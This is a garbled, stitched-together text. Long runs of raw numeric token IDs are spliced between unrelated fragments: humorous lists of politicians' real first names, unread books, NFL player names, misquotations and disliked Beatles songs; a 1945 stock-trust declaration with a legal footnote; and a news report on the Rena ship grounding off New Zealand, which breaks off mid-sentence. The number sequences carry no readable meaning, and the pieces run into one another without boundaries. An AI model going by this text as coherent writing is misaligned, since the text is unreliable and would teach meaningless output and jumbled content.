326, 344, 753, 352, 13, 2057, 15, 187, 187, 424, 19, 15, 686, 34, 1175, 1388, 281, 33163, 3076, 3668, 8, 424, 1108, 8174, 13856, 13, 1457, 15702, 2714, 28051, 13, 327, 898, 16, 883, 15, 1500, 4159, 27, 686, 1147, 434, 1024, 247, 1077, 1175, 1388, 281, 755, 562, 2712, 359, 971, 281, 33163, 2464, 187, 187, 424, 20, 15, 686, 3039, 253, 5441, 1818, 13, 309, 1818, 619, 2564, 27, 752, 513, 368, 513, 13, 8674, 5554, 424, 1108, 2516, 2552, 79, 472, 6018, 37889, 15, 1621, 1941, 344, 2455, 753, 352, 15, 26070, 15, 187, 187, 424, 21, 15, 686, 38, 3695, 13, 619, 11761, 21571, 8, 424, 1108, 10648, 4348, 23555, 15, 380, 1894, 753, 352, 275, 690, 273, 253, 6590, 533, 15948, 1716, 266, 40289, 1620, 4159, 352, 15, 187, 187, 424, 22, 15, 686, 34, 2129, 310, 247, 1048, 673, 275, 8672, 8, 424, 1108, 29271, 10520, 15, 1621, 15, 187, 187, 424, 23, 15, 686, 21020, 352, 969, 13, 5769, 8, 424, 1108, 347, 1046, 43240, 7690, 386, 6057, 13, 496, 15476, 19869, 1342, 2296, 686, 21020, 352, 13, 5769, 8, 275, 795, 24226, 1752, 35884, 4414, 187, 187, 424, 24, 15, 686, 22529, 604, 368, 751, 15, 380, 10692, 434, 417, 323, 8577, 8, 424, 1108, 20145, 2064, 5316, 15, 380, 795, 4257, 2816, 7717, 64, 1157, 4028, 247, 4366, 273, 617, 2471, 275, 4072, 13, 4541, 15045, 352, 281, 686, 1394, 1614, 604, 368, 971, 281, 1051, 1383, 533, 253, 4723, 281, 5591, 13628, 369, 2218, 15, 187, 187, 424, 25, 15, 686, 4678, 312, 479, 598, 13, 11137, 555, 8, 424, 1108, 11918, 22579, 1620, 753, 1110, 10799, 3000, 672, 253, 7484, 273, 795, 16043, 29024, 64, 2424, 271, 8945, 501, 48043, 15, 187, 187, 424, 26, 15, 686, 39996, 13, 28585, 8, 424, 1108, 6086, 411, 15, 11301, 13, 672, 247, 32265, 369, 1669, 327, 15, 33851, 281, 352, 327, 253, 8573, 285, 253, 3918, 4518, 2296, 13, 686, 6506, 13, 28585, 5983, 187, 187, 424, 740, 15, 686, 1231, 403, 42189, 19595, 670, 952, 2970, 46280, 6793, 8, 424, 1108, 7993, 18150, 14032, 15, 3105, 247, 3731, 11956, 318, 533, 247, 13687, 581, 15, 380, 1551, 273, 253, 6197, 369, 27, 686, 1051, 284, 1048, 347, 597, 2075, 616, 10474, 2464, 187, 187, 817, 26393, 1267, 8728, 1194, 23710, 322, 1139, 10339, 187, 187, 510, 1457, 12123, 16005, 9377, 715, 247, 5899, 7057, 8885, 2389, 4498, 846, 13423, 323, 1072, 14, 11523, 7875, 15, 2752, 3331, 6270, 14040, 266, 2546, 752, 253, 3995, 273, 22695, 812, 1625, 672, 253, 39138, 313, 27970, 16678, 28424, 1868, 10, 7641, 369, 4817, 15, 24955, 5125, 13, 686, 3074, 1422, 20389, 310, 10540, 1383, 534, 6270, 10945, 327, 253, 9905, 326, 352, 310, 253, 40159, 8, 1273, 14, 42108, 296, 4498, 15, 2058, 534, 1127, 13, 309, 3053, 281, 18122, 436, 1618, 15, 187, 187, 424, 18, 15, 686, 9692, 1350, 253, 21368, 8, 424, 6270, 14040, 266, 27, 686, 510, 1077, 9065, 40159, 4498, 310, 581, 3692, 37625, 8913, 1319, 285, 12069, 3131, 414, 403, 20068, 407, 19231, 4994, 913, 7041, 2464, 187, 187, 424, 19, 15, 686, 3074, 1422, 20389, 310, 10540, 8, 424, 733, 434, 44663, 1975, 27, 9090, 2712, 326, 581, 476, 513, 13, 476, 275, 958, 320, 2218, 15, 187, 187, 424, 20, 15, 686, 9684, 4714, 434, 16309, 44591, 8, 424, 1284, 23259, 5602, 16008, 4159, 275, 795, 7498, 2241, 275, 253, 12318, 64, 1157, 686, 2042, 667, 2014, 7663, 2722, 2139, 253, 40159, 9377, 598, 29678, 187, 187, 424, 21, 15, 686, 58, 3827, 4974, 4175, 460, 8, 424, 309, 1053, 626, 751, 352, 13, 533, 6270, 1691, 479, 987, 15, 686, 1147, 434, 1175, 323, 752, 352, 310, 27, 247, 38135, 5753, 8, 4498, 2464, 187, 187, 424, 22, 15, 686, 14909, 30504, 434, 18733, 8, 424, 22668, 80, 434, 4498, 15, 8035, 581, 323, 18740, 15, 187, 187, 424, 23, 15, 686, 26859, 1342, 8, 424, 6029, 20923, 27, 686, 23108, 23698, 387, 521, 3731, 14718, 12189, 9065, 2464, 20882, 401, 750, 293, 6339, 10017, 27, 686, 6723, 368, 24812, 5554, 1244, 4130, 753, 352, 310, 23020, 11574, 407, 353, 3649, 66, 434, 16819, 1282, 285, 253, 26432, 15, 187, 187, 424, 24, 15, 686, 13238, 6681, 6865 ]

anço To get out of a spot of trouble at the last minute. Portuguese. ## POLITICIANS NOT KNOWN BY THEIR FIRST NAME I could almost have done this list on prime ministers alone: James MacDonald, Arthur Chamberlain, Robert Eden, Maurice Macmillan, James Wilson, Leonard Callaghan and James Brown. But here are ten other politicians: **1. Boris Johnson** – whose full name is Alexander Boris de Pfeffel Johnson, so you can call him Al. **2. Vince Cable** – John. **3. Zac Goldsmith** – Frank. **4. Keith Vaz** – Nigel. **5. Paddy Ashdown** – Jeremy John Durham Ashdown acquired the name Paddy when he moved to Bedford School from Northern Ireland when he was eleven. **6. Enoch Powell** – John, again. **7. Nick Raynsford** – Wyvill Richard Nicolls Raynsford, minister for London in Tony Blair's government. **8. Mitt Romney** – who is a Willard, after Willard Marriott, family friend and founder of the hotel chain. **9. Barbara Follett** – Daphne. The only woman I can find: a minister in Gordon Brown's government and married to Ken, the thriller writer. **10. Keir Hardie** – Another James. And some other famous first names: Winifred Mary Beard, Troyal Garth Brooks, Thomas Sean Connery, Joseph Rudyard Kipling, Keith Rupert Murdoch, Helen Beatrix Potter and Adeline Virginia Woolf. ## BOOKS PEOPLE BUY BUT DON'T READ Ian Rapley quoted an unknown bibliophile to me: 'I don't believe in an afterlife, but I buy books like a man who does.' Few are those indeed who are privileged enough to have reached the end of these: **1.** Long Walk to Freedom by Nelson Mandela. Millions of copies sold. Millions of spines unbroken. **2.** A Brief History of Time by Stephen Hawking. Although one correspondent protested that she had read it 'all the way through: it's perfectly easy to do, and the cliché about nobody finishing it is boring'. **3.** Ulysses by James Joyce. A murky one this, on the grounds that hardly anyone buys it in the first place (you can get it free on Kindle). **4.** Life of Pi by Yann Martel. 'It's got a tiger in it.' Simon Wilder tried to nominate all Man Booker winners ( _Life of Pi_ won in 2002), but the excellent Howard Jacobson won in 2010, so I wasn't having that. **5.** Longitude by Dava Sobel. Nominated by Robert Hutton: 'I keep meaning to.' **6.** Spycatcher by Peter Wright. A 1980s entry nominated by Verbal Refuse, which may be a code name. **7.** Gravity's Rainbow by Thomas Pynchon. Nominated by Carl Engleman, who also tried to nominate Marcel Proust, but people do actually read him. **8.** My Life by Bill Clinton. So slapdash that long stretches consist of his barely annotated appointments diary. **9.** Living History by Hillary Rodham Clinton. It would have saved money had the Democratic primary of 2008 been fought as a comparative review of this and Barack Obama's _The Audacity of Hope_. **10. Any of Jamie Oliver's books.** Nominated by Geraint Whitley, who pointed out that most cookbooks qualify. Except Delia, obviously. ## AMERICAN FOOTBALLERS' NAMES Each year the National Football League holds a three-day ceremony called 'the draft', in which American football teams choose new players from the training grounds of college. Each year the draft is a window on the mostly black American working-class tradition of invented first names, often with French influences, apostrophes and variant spellings. **1. Barkevious Mingo** Drafted by the Cleveland Browns, his brothers are Hugh and Hughtavious. **2. Tyrann Mathieu** Drafted by the Arizona Cardinals. Nicknamed 'Honey Badger'. (No, I don't know either.) **3. D'Brickashaw Ferguson** Drafted in 2006 by the New York Jets. Named after Father Ralph de Bricassart, a character in 1980s TV mini-series _The Thorn Birds_. **4. Antwaan Randle El** The former Pittsburgh Steeler is retired now, but he was an outstanding player with an equally outstanding name. **5. Chad Ochocinco** He changed his surname from Johnson to the Spanish for 8-5, the number on his shirt, in 2008. **6. BenJarvus Green-Ellis** Now with the Cincinnati Bengals, he was nicknamed 'The Law Firm' by his former teammates at the New England Patriots. **7. LaBrandon Toefield** Formerly with the Jacksonville Jaguars. **8. Ha'Sean Clinton-Dix** Known as HaHa, he plays for the Green Bay Packers. **9. Lousaka Polite** Formerly of the Atlanta Falcons and the Miami Dolphins. **10. Plaxico Burress** The former Pittsburgh Steeler served time after shooting himself in the leg with an unlicensed gun. Also nominated: Fair Hooker, Richie Incognito, Montavious Stanley, Jerricho Cotchery, Da'Rick Rodgers and Yancey Thigpen. ## MISQUOTATIONS Margaret Thatcher never verifiably said that she regarded New Labour or Tony Blair as her greatest achievement, although it keeps coming up in commentaries about her. Nor can we know that their supposed authors said any of these: **1. 'Because it's there'** – Edmund Hillary. It wasn't him, it was supposedly George Mallory, another climber, although there's no evidence that he said it, either. **2. 'A good day to bury bad news'** – Jo Moore, New Labour special adviser, on 9/11. She wrote: 'It's now a very good day to get out anything we want to bury.' **3. 'When the facts change, I change my mind: what do you do, sir?'** – John Maynard Keynes. No evidence he ever said it. Sorry. **4. 'Elementary, my dear Watson'** – Sherlock Holmes. The character said it in some of the films but Arthur Conan Doyle never wrote it. **5. 'A week is a long time in politics'** – Harold Wilson. No. **6. 'Play it again, Sam'** – as every beginner pedant knows, Ingrid Bergman says 'Play it, Sam' in _Casablanca_. **7. 'Turn if you like. The lady's not for turning'** – Margaret Thatcher. The _New York Times_, writing a notice of her death in 2013, quickly corrected it to 'You turn if you want to...', but the damage to UK ears was done. **8. 'Beam me up, Scotty'** – Captain Kirk never said those precise words when the plot of _Star Trek_ required an emergency resuscitation. **9. 'Yo, Blair'** – George W. Bush, when a microphone was left on. Listen to it on the internet and the President clearly says, 'Yeah, Blair'. **10. 'We are intensely relaxed about people getting filthy rich'** – Peter Mandelson. Not a misquotation but a selective one. The rest of the sentence was: '...as long as they pay their taxes.' ## WORST BEATLES SONGS The New Zealand parliament broke into a traditional Maori love song after voting for same-sex marriage. My friend Tom Doran asked what the House of Commons could sing when the Marriage (Same Sex Couples) Bill was passed. Someone suggested, 'All You Need is Love', which Tom rejected on the grounds that it is the Beatles' second-worst song. At which point, I started to compile this list. **1. 'Across the Universe'** Tom Doran: 'The very worst Beatles song is one whose crushing banality and mediocrity are amplified by undeserved acclaim.' **2. 'All You Need is Love'** It's tautological: obviously anything that one can do, can in fact be done. **3. 'Maxwell's Silver Hammer'** As Ian MacDonald wrote in _Revolution in the Head_, 'If any single recording shows why the Beatles broke up...' **4. 'Yellow Submarine'** I don't like it, but Tom put me right. 'It's good for what it is: a novelty kids' song.' **5. 'Octopus's Garden'** Ringo's song. Another one for babies. **6. 'Taxman'** Ben Stanley: 'George Harrison at his misanthropic worst.' Danny Finkelstein replied: 'Are you insane?' And everyone said it is redeemed by Macca's bassline and the intro. **7. 'Christmas Time

[ 13, 1907, 9716, 390, 8884, 619, 8208, 281, 7471, 2176, 10764, 273, 5347, 5739, 273, 11401, 641, 15725, 187, 22624, 3690, 15, 313, 783, 6487, 582, 285, 1907, 6828, 326, 253, 14204, 323, 753, 5739, 320, 6808, 275, 619, 1416, 347, 23052, 323, 17179, 187, 41, 15, 16171, 13, 347, 33452, 13, 3692, 2953, 310, 50273, 9263, 951, 14734, 642, 50259, 4524, 436, 27113, 273, 10215, 13, 7953, 23531, 15012, 187, 50254, 252, 50264, 50276, 9, 42992, 10, 50274, 9, 21093, 10, 50276, 9, 30989, 10, 50275, 9, 5443, 10, 187, 47110, 326, 253, 2426, 285, 2515, 2220, 534, 309, 3091, 2186, 753, 5739, 275, 4517, 285, 667, 3081, 5739, 4795, 432, 187, 250, 24889, 420, 273, 7942, 43503, 2220, 824, 3236, 390, 3081, 10764, 403, 347, 3637, 27, 187, 9, 18, 10, 6408, 619, 12702, 512, 7942, 43503, 403, 281, 320, 5087, 281, 479, 15978, 323, 619, 1211, 3367, 2395, 285, 897, 28, 2530, 13, 187, 35529, 13, 326, 667, 824, 3081, 5739, 9716, 762, 271, 14047, 9838, 5410, 420, 273, 7942, 43503, 3091, 2489, 247, 629, 273, 187, 395, 2256, 281, 436, 4517, 15, 187, 9, 19, 10, 15797, 619, 2471, 253, 4060, 281, 667, 5739, 2256, 36291, 285, 253, 987, 281, 667, 6774, 10762, 390, 10670, 3091, 187, 1257, 37478, 8839, 275, 253, 33452, 15, 380, 1924, 3522, 323, 253, 7830, 273, 43503, 13, 2581, 685, 253, 3522, 273, 16204, 273, 187, 783, 43690, 13, 3091, 13, 342, 3806, 281, 619, 2471, 13, 3653, 1880, 667, 1798, 43690, 3091, 320, 36296, 281, 619, 8304, 390, 281, 187, 783, 33452, 15, 187, 9, 20, 10, 6408, 619, 12702, 309, 15917, 253, 987, 13, 347, 23052, 13, 281, 6273, 13, 5580, 13, 41582, 13, 6431, 390, 5010, 2968, 275, 390, 342, 253, 187, 17764, 2256, 36291, 13, 533, 2220, 667, 7289, 390, 39732, 273, 753, 5739, 390, 667, 629, 10445, 13, 253, 4517, 20585, 8884, 3091, 24174, 187, 284, 281, 253, 5739, 4211, 390, 23020, 11574, 13, 285, 309, 3091, 320, 7429, 281, 13280, 253, 16947, 273, 7289, 390, 39732, 323, 619, 1211, 3367, 2395, 187, 395, 897, 15, 187, 9, 21, 10, 309, 15917, 253, 987, 387, 667, 673, 281, 1818, 253, 33452, 390, 3585, 3136, 436, 4517, 13, 533, 352, 310, 7192, 326, 642, 1818, 273, 33452, 187, 395, 642, 40213, 273, 436, 4517, 3707, 407, 2471, 273, 253, 33452, 13, 3091, 320, 3576, 347, 281, 253, 6487, 323, 667, 4096, 187, 28558, 285, 1919, 3542, 4366, 10445, 275, 824, 830, 347, 253, 6487, 3091, 44482, 310, 8549, 281, 253, 6487, 387, 32635, 13, 187, 39235, 14058, 15, 380, 17630, 511, 273, 253, 33452, 1078, 619, 2471, 3091, 10196, 347, 247, 40213, 273, 436, 4517, 15, 187, 9, 22, 10, 496, 253, 2362, 436, 4517, 3091, 320, 43868, 390, 5010, 19344, 13, 753, 5739, 285, 512, 3570, 285, 25687, 627, 4524, 187, 30049, 5663, 281, 285, 320, 25796, 407, 479, 275, 619, 2060, 5350, 15, 187, 9, 23, 10, 380, 6487, 3091, 417, 320, 15922, 323, 253, 13091, 390, 6242, 273, 667, 4517, 3562, 407, 479, 13, 285, 667, 7830, 390, 643, 187, 15603, 318, 1160, 390, 1677, 407, 253, 6487, 281, 479, 347, 23052, 390, 5010, 13, 275, 4602, 342, 753, 5739, 390, 667, 7942, 43503, 187, 9088, 251, 13, 390, 275, 253, 2362, 273, 619, 2471, 2720, 281, 40213, 13, 281, 253, 33452, 13, 3091, 281, 253, 6070, 273, 824, 7830, 4751, 3727, 285, 187, 3431, 7778, 253, 6487, 432, 9781, 342, 1675, 281, 753, 5739, 390, 667, 7942, 43503, 30134, 15, 187, 37, 456, 10733, 15, 818, 13, 18824, 15, 50267, 23108, 411, 15, 16171, 50254, 50270, 2490, 50254, 50254, 50254, 50272, 11212, 275, 4555, 253, 1072, 5133, 347, 327, 253, 2898, 187, 24963, 187, 60, 18, 62, 50276, 12612, 8988, 9, 19, 10, 273, 253, 11726, 26333, 13330, 342, 253, 4112, 835, 253, 3414, 3833, 21916, 281, 1529, 1436, 347, 23052, 285, 310, 275, 40812, 1060, 15, 313, 12612, 8988, 9, 20, 10, 3400, 27, 187, 187, 31770, 20, 10, 25373, 347, 4767, 275, 5238, 9135, 313, 4609, 13330, 342, 43095, 45219, 273, 16347, 22413, 582, 835, 253, 3414, 3833, 34852, 2994, 23052, 285, 23003, 417, 760, 247, 12912, 1495, 8304, 285, 247, 1612, 281, 3585, 3136, 285, 10007, 253, 4517, 533, 671, 1612, 281, 2968, 342, 253, 2867, 347, 344, 13052, 347, 1048, 347, 344, 4852, 13, 253, 6034, 4517, 310, 43864, 552, 449, 187, 1909, 8042, 562, 13, 6086, 411, 15, 16171, 347, 3414, 3833, 858, 417, 452, 253, 987, 281, 2968, 342, 253, 2867, 347, 344, 10490, 347, 1048, 347, 344, 6940, 1223, 253, 4517, 6376, 440, 15079, 8163, 13, 533, 369, 3033, 407, 253, 5323, 23254, 17973, 327, 23052, 15, 187, 7656, 3322, 1539, 7283, 13, 1457, 12123, 1905, 329, 18826, 6215, 326, 556, 42893, 8307, 273, 16298, 273, 4166, 1580, 13631, 247, 43544, 745, 1457, 12123, 434, 8852, 5420, 281, 320, 10155, 598, 275, 5536, 26634, 13, 347, 697, 13595, 11372, 6424, 7260, 275, 1302, 8330, 15, 187, 187, 34, 9118, 9370, 369, 5165, 432, 253, 12595, 281, 253, 1824, 1282, 273, 253, 15562, 757, 14, 17101, 2400, 30958, 13, 534, 6337, 639, 4650, 3821, 15, 608, 327, 15123, 1102, 12424, 1720, 832, 13, 1638, 6574, 432, 308, 4411, 28874, 3972, 7390, 327, 1457, 12123, 434, 3729, 8451, 15, 11376, 5571, 17671, 452, 13547, 745, 253, 12595, 273, 253, 818, 1976, 14, 8938, 11179, 347, 352, 556, 7117, 9592, 275, 253, 43685, 12927, 2515, 15, 187, 187, 9709, 25832, 1457, 12123, 13, 534, 310, 14419, 253, 8945, 2380, 13, 2529, 253, 9370, 347, 247, 346, 42312, 8350, 4433, 3, 285, 14315, 326, 253, 24701, 778, 2740, 1977, 15, 9064, 30139, 19750, 497, 9119, 19944, 281, 2186, 253, 24701, 327, 253, 43544, 1223, 6031, 403, 1160, 281, 5386, 253, 4166, 432, 253, 6215, 13, 390, 281, 12413, 253, 24701, 281, 20126, 1824, 13, 253, 6757, 753, 275, 247, 3908, 15, 187, 187, 2019, 10628, 273, 4166, 452, 11974, 598, 327, 43559, 29780, 2822, 308, 4411, 28874, 15, 2398, 25832, 1457, 12123, 35027, 17467, 330, 602, 13409, 753, 1052, 4166, 264, 11260, 574, 644, 1119, 3846, 285, 7609, 2571, 497, 1146, 22269, 387, 247, 23816, 8945, 4055, 15, 187, 187, 56, 4208, 265, 753, 3846, 6773, 497, 671, 17392, 15898, 410, 347, 1980, 15986, 342, 8013, 26936, 285, 47289, 4307, 281, 4076, 253, 258, 1031, 502, 1502, 432, 253, 3168, 7537, 15, 187, 187, 1231, 1226, 327, 253, 43544, 369, 11527, 8330, 13, 342, 1863, 7042, 598, 281, 1668, 4669, 13, 2398, 25832, 1457, 12123, 18082, 11819, 8302, 2183, 380, 23323, 5687, 15, 380, 23180, 2515, 497, 2403, 352, 7479, 323, 247, 40811, 10402, 281, 4450, 253, 6215, 13, 344, 753, 15, 12414, 253, 40811, 10402, 22995, 13, 4166, 2550, 320, 36493, 562, 273, 253, 6215, 15, 187, 187, 3, 1147, 434, 622, 11822, 937, 8302, 753, 273, 253, 8588, 15, 346, 22242, 310, 1335, 275, 247, 5877, 3102, 449, 187, 187, 18635, 47107, 497, 21565, 253, 1863, 7042, 651, 11990, 281, 721, 4669, 407, 8216, 13, 387, 534, 1127, 40811, 32173, 1537, 320, 2104, 281, 1611, 281, 4450, 253, 6215, 13, 8302, 753, 15, 187, 187, 510, 41019, 273, 17671, 326, 3464, 327, 12595, 452, 4821, 281, 2118, 13, 2403, 352, 8312, 323, 40811, 32173, 281, 789, 327, 4450, 15, 11067, 12671, 452, 644, 9119, 19944, 281, 22548, 253, 44251, 17671, 285, 643, 21593, 275, 253, 1824, 15, 187, 187, 2512, 497, 337, 13, 23926, 17671, 327, 4450, 13, 1903, 273, 534, 6221, 30561, 15991, 13, 253, 37223, 6757, 753, 15, 380, 17671, 342, 30561, 4753, 497, 417, 2190, 253, 5571, 326, 574, 13547, 689, 4697, 13, 8302, 753, 15, 11706, 13, 352, 310, 4122, 2779, 326, 625, 17671, 588, 37210, 282, 745, 984, 273, 253, 7227, 8588, 285, 253, 6215, 434, 16624, 1618, 13, 344, 753, 15, 187, 187, 510, 7127, 14, 2913, 14, 744, 36935, 2610, 13595, 13, 3692, 1416, 556, 417, 644, 4950, 13644, 13, 369, 6636, 342, 6498, 247, 11179, 275, 247, 5133, 8479, 15279, 5434, 390, 2495, 285, 369, 4439, 327, 19590, 8330, 387, 308, 4411, 28874, 4412, 2111, 15, 380, 6215, 434, 1273, 5908, 310, 281, 2454, 247, 2074, 4179, 327, 8216, 15, 187, 187, 26946, 41360, 723, 187, 16, 187, 32680, 187, 187, 3251, 357, 14950, 5339, 407, 4166, 432, 253, 34614, 3612, 30958, 7027, 327, 247, 11600, 2822, 308, 4411, 28874, 13, 1457, 12123, 13, 327, 8330, 15, 187, 187, 510, 13595, 434, 11115, 13, 5171, 353, 357, 2653, 13, 9521, 326, 6798, 6911, 21405, 567, 342, 4949, 521, 5268, 434, 1416, 984, 13, 344, 753, 13, 346, 9088, 310, 247, 1524, 2442, 326, 690, 7732, 778, 971, 281, 1379, 8213, 715, 616, 1211, 3564, 937, 253, 1457, 12123, 31566, 2361, 327, 697, 4422, 15, 733, 671, 753, 253, 3216, 272, 5866, 327, 253, 13595, 434, 14348, 15, 187, 187, 2042, 13084, 13, 253, 13595, 812, 2454, 247, 4030, 273, 598, 281, 884, 13, 933, 1457, 12123, 8918, 4816, 24, 13, 10695, 10, 285, 1249, 2607, 275, 5754, 15, 3032, 1735, 1302, 7286, 310, 3821, 15, 655, 13, 672, 9061, 1333, 625, 7260, 403, 2779, 15, 187, 187, 9709, 25832, 1457, 12123, 17747, 13104, 29051, 753, 521, 11674, 6376, 12478, 598, 253, 4166, 15, 187, 187, 3, 24753, 1024, 13, 359, 452, 574, 247, 1708, 4166, 272, 273, 29780, 937, 344, 753, 15, 346, 1552, 588, 3012, 2572, 347, 625, 4166, 369, 1041, 15898, 410, 689, 253, 3551, 1897, 449, 187, 187, 510, 2208, 556, 15665, 281, 871, 2139, 253, 6215, 25753, 715, 253, 973, 14, 21341, 264, 43544, 275, 11874, 8588, 13, 533, 253, 11179, 434, 7302, 556, 1677, 642, 8813, 15, 187, 187, 9709, 25832, 1457, 12123, 8197, 326, 875, 18881, 285, 24792, 16298, 273, 5536, 7236, 4166, 452, 42893, 432, 253, 28470, 13, 4283, 1457, 12123, 434, 3126, 9843, 13, 13104, 6212, 13, 281, 1067, 352, 253, 2586, 434, 5962, 37223, 6938, 15394, 15, 187, 187, 21756, 8075, 2868, 253, 6215, 574, 670, 337, 13, 49087, 16298, 273, 4166, 285, 18881, 16298, 273, 28628, 327, 4450, 1078, 352, 3053, 40929, 15, 187, 187, 688, 247, 3908, 13, 253, 9891, 273, 253, 11179, 13, 17785, 14, 3169, 12805, 312, 609, 3690, 904, 753, 597, 497, 346, 1940, 2211, 839, 4751, 342, 1980, 9061, 3, 285, 497, 2403, 1046, 3434, 281, 346, 8519, 285, 15338, 253, 6938, 9099, 273, 436, 7119, 449, 380, 2567, 858, 417, 3959, 667, 8813, 323, 253, 3216, 272, 15, 187, 187, 20968, 4332, 380, 23323, 5687, 15, 1876, 3570, 10827, 15, 831, 2144, 778, 417, 320, 3863, 13, 10675, 13, 35993, 390, 17205, 3567, 15, 17232, 10836, 556, 3663, 1529, 21059, 15, 754, 369, 745, 521, 17298, 1129, 84, 323, 247, 1643, 3618, 327, 2395, 273, 619, 417, 1146, 2104, 281, 7848, 731, 15, 754, 310, 896, 327, 731, 1024, 15, 187, 187, 1328, 3365, 3548, 626, 9123, 2217, 15, 3032, 1390, 1071, 247, 1643, 2607, 3622, 2692, 1270, 7756, 342, 1097, 521, 378, 4037, 285, 13489, 14989, 3904, 15, 187, 187, 42, 1849, 3597, 11624, 13, 344, 18739, 731, 247, 1643, 2069, 285, 840, 6331, 15, 754, 588, 1335, 6008, 6858, 2739, 15, 1310, 309, 755, 562, 247, 30363, 11152, 13, 344, 588, 6008, 3240, 247, 2372, 273, 326, 15, 187, 187, 42, 717, 12422, 1097, 6089, 1255, 285, 6875, 23845, 15, 313, 7214, 253, 9351, 7117, 347, 1698, 275, 36611, 15, 2387, 14772, 275, 253, 1388, 13, 344, 588, 6008, 247, 1643, 38829, 285, 840, 3553, 253, 11636, 15, 187, 187, 3220, 26925, 5125, 12552, 856, 248, 431, 324, 460, 577, 7913, 15, 309, 1353, 31488, 281, 1918, 779, 436, 13, 347, 309, 452, 1239, 327, 253, 1027, 1896, 1930, 2538, 15, 187, 187, 42, 1849, 3597, 512, 2045, 13991, 15, 754, 1057, 1646, 281, 1335, 971, 281, 6008, 13, 344, 816, 2506, 626, 10820, 2217, 15, 754, 434, 1024, 816, 4808, 285, 14910, 15, 187, 187, 38066, 15822, 344, 434, 2509, 973, 15, 1621, 13622, 10678, 390, 759, 21228, 15, 754, 556, 574, 247, 1643, 4707, 33889, 13, 533, 2717, 11555, 15, 754, 310, 417, 43054, 1662, 280, 13, 344, 4536, 7120, 342, 619, 374, 9243, 4394, 15, 3032, 11829, 310, 1335, 30006, 13, 344, 1057, 417, 32083, 390, 3785, 1512, 1199, 15, 187, 187, 42, 369, 27949, 259, 16, 2577, 6246, 39, 3226, 281, 1620, 878, 271, 27690, 7328, 386 ]

, having purchased or declared my intention to purchase certain shares of capital stock of Investors Stock Fund Inc. (the Company), and having directed that the certificate for said stock be issued in my name as trustee for Franklin H. Roberts, as beneficiary, whose address is Bucyrus no under this Declaration of Trust, DO HEREBY (Street) (City) (Zone) (State) DECLARE that the terms and conditions upon which I shall hold said stock in trust and any additional stock resulting from reinvestment of cash dividends upon such original or additional shares are as follows: (1) During my lifetime all cash dividends are to be paid to me individually for my own personal account and use; provided, however, that any such additional stock purchased under an authorized reinvestment of cash dividends shall become a part of and subject to this trust. (2) Upon my death the title to any stock subject hereto and the right to any subsequent payments or distributions shall be vested absolutely in the beneficiary. The record date for the payment of dividends, rather than the date of declaration of the dividend, shall, with reference to my death, determine whether any particular dividend shall be payable to my estate or to the beneficiary. (3) During my lifetime I reserve the right, as trustee, to vote, sell, redeem, exchange or otherwise deal in or with the stock subject hereto, but upon any sale or redemption of said stock or any part thereof, the trust hereby declared shall terminate as to the stock sold or redeemed, and I shall be entitled to retain the proceeds of sale or redemption for my own personal account and use. (4) I reserve the right at any time to change the beneficiary or revoke this trust, but it is understood that no change of beneficiary and no revocation of this trust except by death of the beneficiary, shall be effective as to the Company for any purpose unless and until written notice thereof in such form as the Company shall prescribe is delivered to the Company at Minneapolis, Minnesota. The decease of the beneficiary before my death shall operate as a revocation of this trust. (5) In the event this trust shall be revoked or otherwise terminated, said stock and all rights and privileges thereunder shall belong to and be exercised by me in my individual capacity. (6) The Company shall not be liable for the validity or existence of any trust created by me, and any payment or other consideration made or given by the Company to me as trustee or otherwise, in connection with said stock or any cash dividends thereon, or in the event of my death prior to revocation, to the beneficiary, shall to the extent of such payment fully release and discharge the Company from liability with respect to said stock or any cash dividends thereon. Dated Nov. 7, 1945. George W. Roberts Sign in exactly the same manner as on the application NOTES [1] Section 57(2) of the Restatement deals with the situation where the settlor transfers to another person as trustee and is inapplicable here. (Section 57(3) provides: "(3) Except as stated in Section 58 (which deals with tentative trusts of savings deposits), where the settlor declares himself trustee and reserves not only a beneficial life estate and a power to revoke and modify the trust but also power to deal with the property as he likes as long as he lives, the intended trust is testamentary." As pointed out, George W. Roberts as settlor did not have the right to deal with the property as he liked as long as he lived while the trust remained unrevoked, but was bound by the laws imposing obligations on trustee. TAURANGA, New Zealand — A cargo ship that has spilled hundreds of tons of oil since striking a reef off New Zealand's coast appeared to be breaking up in heavy seas, as its captain faced criminal charges in court Wednesday. A vertical crack was apparent from the deck to the waterline of the Liberian-flagged Rena, which ran aground Oct. 5 on Astrolabe Reef, 14 miles from Tauranga Harbour on New Zealand's North Island. About 70 containers have fallen off the deck of the 775-foot vessel as it has listed increasingly in the worsening ocean conditions. Maritime New Zealand, which is managing the emergency response, described the crack as a "substantial structural failure" and warned that the stern may break away. Three tug boats were mobilized to hold the stern on the reef while efforts are made to remove the oil from the ship, or to tow the stern to shallow water, the agency said in a statement. Clumps of oil have washed up on pristine beaches near Tauranga. Maritime New Zealand spokeswoman Anne Coughlan said 200 oiled birds had been found dead and 41 others were being cleaned at a wildlife emergency center. Witnesses said dead fish were also washing ashore as local volunteers with plastic gloves and buckets worked to clean the oily clots from the white sand. Weather on the reef was terrible Wednesday, with swells up to 16 feet, Maritime New Zealand spokesman Steve Jones told The Associated Press. The brutal conditions were making it impossible for a salvage crew to board the ship, he said. Without the salvage crew aboard, oil cannot be pumped out of the ship. "It's appalling," Jones said of the weather. "Everything is still in a holding pattern." Forecasters were predicting the swells would ease to 6 feet by Thursday, at which point salvage crews might be able to try to board the ship, Jones said. The piles of containers that remain on deck have continued to move, making it dangerous for salvage crews to work on board. Six vessels have been mobilized to intercept the drifting containers and other debris in the water. There were 1,368 containers on board, 11 of which contained hazardous substances, the maritime agency said. The containers with hazardous materials were not among the 70 that had fallen overboard, Jones said. Still, it is highly likely that more containers will topple off because of the rough weather and the ship's steep list, he said. The 44-year-old Filipino captain, whose name has not been revealed publicly, was charged with operating a vessel in a manner causing unnecessary danger or risk and was released on bail Wednesday at Tauranga District Court. The ship's second officer is to face a similar charge on Thursday. Mike Hutchings / Reuters Seabirds killed by oil from the stricken Rena lie on a beach near Tauranga, New Zealand, on Wednesday. The captain's lawyer, Paul Mabey, requested that Judge Robert Wolff withhold his client's name because, he said, "there is a real potential that some persons may want to take matters into their own hands," the New Zealand Herald reported on its website. It also said the grounding occurred on the captain's birthday. If convicted, the captain could face a fine of up to 10,000 New Zealand dollars ($7,800) and 12 months in prison. His next court appearance is Oct. 19, when authorities say more charges are likely. Maritime New Zealand commander Nick Quinn said his priority remained cleaning up the oil. "Until now, we have had a light oiling of beaches," he said. "This will significantly increase as more oil washes ashore over the coming days." The government has demanded to know why the ship crashed into the well-charted reef in calm weather, but the vessel's owner has given no explanation. Maritime New Zealand 